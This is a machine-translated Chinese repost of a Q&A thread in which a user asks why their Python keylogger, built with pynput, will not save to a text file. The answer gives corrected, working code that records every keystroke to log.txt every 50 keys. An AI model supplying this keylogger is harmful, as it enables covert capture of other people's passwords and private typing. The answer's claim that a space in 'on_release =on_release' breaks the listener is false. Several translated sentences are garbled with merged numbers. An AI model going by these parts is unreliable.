[英]Keylogger won´t save to text file,made in python
所以我嘗試制作一個鍵盤記錄器,但它不會保存到文本文件中。
第一次制作鍵盤記錄器,已經看過一些教程,但我不知道為什么它不起作用。
這是我的完整代碼
import pynput
from pynput.keyboard import Key, Listener
count = 0
keys = []
def on_press(key):
global keys, count
keys.append(key)
count += 1
print("{0} pressed", format(key))
if count >= 999999999999999999999999999999999999999999:
count = 0
write_file(keys)
keys = []
def write_file():
with open("log.txt", "a") as f:
for key in keys:
k = str(key).replace("'","")
if k.find("space") > 0:
f.write('\n')
elif k.find("Key") == -1:
f.write(k)
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release =on_release) as listener:
listener.join()
pycharm中沒有顯示錯誤...
正如約翰戈登在評論中指出的那樣,直到您收集了超過 999999999999999999999999999999999999999999 個密鑰,您的鍵盤記錄器才會保存。 每秒三個鍵,不間斷,這將需要大約一年一千萬年要打字,並會創建一個文件幾乎正好 1GB 1 萬萬億萬億 GB的規模。 然而,根據打字速度測試,人們平均每分鍾打 190-200 個字符(不是單詞) ——為什么不在 50 個字符后每 15 秒左右保存一次? 您可以將其更改為您想要的任何內容。
我還注意到你的程序沒有正確終止——你在on_release =on_release
with Listener
調用中留下了一個雜散空間,這阻止了鍵盤記錄器捕獲esc
鍵(從而也防止了鍵盤記錄器被殺死,除了ctrl-z
)。
修改后的代碼在我的機器上運行良好,並捕獲了我的所有輸入。 幽靈般的!
import pynput
from pynput.keyboard import Key, Listener
count = 0
keys = []
def on_press(key):
global keys, count
keys.append(key)
count += 1
print("{0} pressed", format(key))
#change this to whatever you want, knowing the average person types at
#190-200 characters per minute. Following that logic, this logger will save every
#15 seconds or so during normal typing.
if count >= 50:
count = 0
write_file()
keys = []
def write_file():
with open("log.txt", "a") as f:
for key in keys:
k = str(key).replace("'","")
if k.find("space") > 0:
f.write('\n')
elif k.find("Key") == -1:
f.write(k)
def on_release(key):
if key == Key.esc:
return False
#note that if you leave a space, like "on_release =on_release", the listener won't
#understand your on_release function and will ignore it
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
祝你好運!
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.